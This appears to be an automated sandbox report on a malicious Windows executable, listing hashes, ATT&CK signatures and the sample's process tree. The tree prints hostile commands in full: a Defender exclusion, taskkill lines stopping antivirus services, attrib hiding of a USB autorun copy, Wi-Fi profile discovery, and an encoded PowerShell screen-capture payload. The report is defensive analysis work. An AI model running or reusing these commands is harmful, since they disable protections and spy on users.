5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/08/2026, 23:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
Size 10.8MB
Sample260817-3twa3ssvhs
SHA256 5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662
MD5 6ad551f598034cfcfceb411ceb66543d
SHA1 4bf3dcb21875d20b71fc9d15a3232ee52535254c
SHA512 13beaf91422f5f13a23f929e4b60db3e70abeb0f4ffef01c9af43e577288836d74927b3d8c9a51194223ddeca084e3c980118fc7eed2b42e703ccb7e2c0f3398
SSDEEP 98304:ZSTUAP6stMcgwfBwYpj30dZLlUuu7KJgGAAW8/RMp+MuQamjJi7CJEXXNB:i3irwfBKlfQKJgGALs0cT7XXN
TLSH
T193B64941EADB86F1E9431931515BB27F22301D098F39CBDBEB943F6AE9376D10836246
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2180	powershell.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3576	attrib.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Keyboard drivers for windows x64 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Drivers\\Keyboard.exe"	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
15	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops autorun.inf file 1 TTPs 2 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\autorun.inf	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
File opened for modification	F:\autorun.inf	attrib.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3672	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1260	netsh.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	16	Go-http-client/1.1

Kills process with taskkill 8 IoCs

defense_evasion

pid	Process
1224	taskkill.exe
3040	taskkill.exe
4256	taskkill.exe
2704	taskkill.exe
920	taskkill.exe
1464	taskkill.exe
980	taskkill.exe
4316	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
4128	powershell.exe
2180	powershell.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2180	powershell.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
4128	powershell.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeIncreaseQuotaPrivilege	3512	wmic.exe
Token: SeSecurityPrivilege	3512	wmic.exe
Token: SeTakeOwnershipPrivilege	3512	wmic.exe
Token: SeLoadDriverPrivilege	3512	wmic.exe
Token: SeSystemProfilePrivilege	3512	wmic.exe
Token: SeSystemtimePrivilege	3512	wmic.exe
Token: SeProfSingleProcessPrivilege	3512	wmic.exe
Token: SeIncBasePriorityPrivilege	3512	wmic.exe
Token: SeCreatePagefilePrivilege	3512	wmic.exe
Token: SeBackupPrivilege	3512	wmic.exe
Token: SeRestorePrivilege	3512	wmic.exe
Token: SeShutdownPrivilege	3512	wmic.exe
Token: SeDebugPrivilege	3512	wmic.exe
Token: SeSystemEnvironmentPrivilege	3512	wmic.exe
Token: SeRemoteShutdownPrivilege	3512	wmic.exe
Token: SeUndockPrivilege	3512	wmic.exe
Token: SeManageVolumePrivilege	3512	wmic.exe
Token: 33	3512	wmic.exe
Token: 34	3512	wmic.exe
Token: 35	3512	wmic.exe
Token: 36	3512	wmic.exe
Token: SeIncreaseQuotaPrivilege	3512	wmic.exe
Token: SeSecurityPrivilege	3512	wmic.exe
Token: SeTakeOwnershipPrivilege	3512	wmic.exe
Token: SeLoadDriverPrivilege	3512	wmic.exe
Token: SeSystemProfilePrivilege	3512	wmic.exe
Token: SeSystemtimePrivilege	3512	wmic.exe
Token: SeProfSingleProcessPrivilege	3512	wmic.exe
Token: SeIncBasePriorityPrivilege	3512	wmic.exe
Token: SeCreatePagefilePrivilege	3512	wmic.exe
Token: SeBackupPrivilege	3512	wmic.exe
Token: SeRestorePrivilege	3512	wmic.exe
Token: SeShutdownPrivilege	3512	wmic.exe
Token: SeDebugPrivilege	3512	wmic.exe
Token: SeSystemEnvironmentPrivilege	3512	wmic.exe
Token: SeRemoteShutdownPrivilege	3512	wmic.exe
Token: SeUndockPrivilege	3512	wmic.exe
Token: SeManageVolumePrivilege	3512	wmic.exe
Token: 33	3512	wmic.exe
Token: 34	3512	wmic.exe
Token: 35	3512	wmic.exe
Token: 36	3512	wmic.exe
Token: SeDebugPrivilege	1464	taskkill.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	4316	taskkill.exe
Token: SeDebugPrivilege	1224	taskkill.exe
Token: SeDebugPrivilege	3040	taskkill.exe
Token: SeDebugPrivilege	4256	taskkill.exe
Token: SeDebugPrivilege	2704	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 3672	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	86
PID 3672 wrote to memory of 3576	3672	cmd.exe	88
PID 436 wrote to memory of 2180	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	89
PID 436 wrote to memory of 4128	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	91
PID 436 wrote to memory of 2556	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	93
PID 436 wrote to memory of 2308	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	95
PID 436 wrote to memory of 1848	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	97
PID 4128 wrote to memory of 3276	4128	powershell.exe	100
PID 3276 wrote to memory of 3060	3276	csc.exe	101
PID 436 wrote to memory of 3512	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	102
PID 436 wrote to memory of 1464	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	104
PID 436 wrote to memory of 980	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	107
PID 436 wrote to memory of 4316	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	109
PID 436 wrote to memory of 1224	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	111
PID 436 wrote to memory of 3040	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	113
PID 436 wrote to memory of 1260	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	115
PID 436 wrote to memory of 4256	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	117
PID 436 wrote to memory of 2704	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	119
PID 436 wrote to memory of 920	436	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	121

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2308	attrib.exe
1848	attrib.exe
3576	attrib.exe
2556	attrib.exe

C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
"C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe"
1⤵
- Adds Run key to start application
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "attrib +s +h C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bu2tnmnr\bu2tnmnr.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2F2.tmp" "c:\Users\Admin\AppData\Local\Temp\bu2tnmnr\CSCE4B6F3842F74499AF75FCD67A14034.TMP"
      4⤵
      PID:3060
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\autorun.inf
  2⤵
  - Drops autorun.inf file
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:2556
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Drivers\Keyboard.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:2308
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\Windows11InstallationAssistant.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:1848
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:3512
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM MsMpEng.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1464
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM avastsvc.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:980
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM avguard.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM avgnt.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM mcshield.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\SysWOW64\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1260
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM mbamservice.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4256
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM ccSvcHst.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM ekrn.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

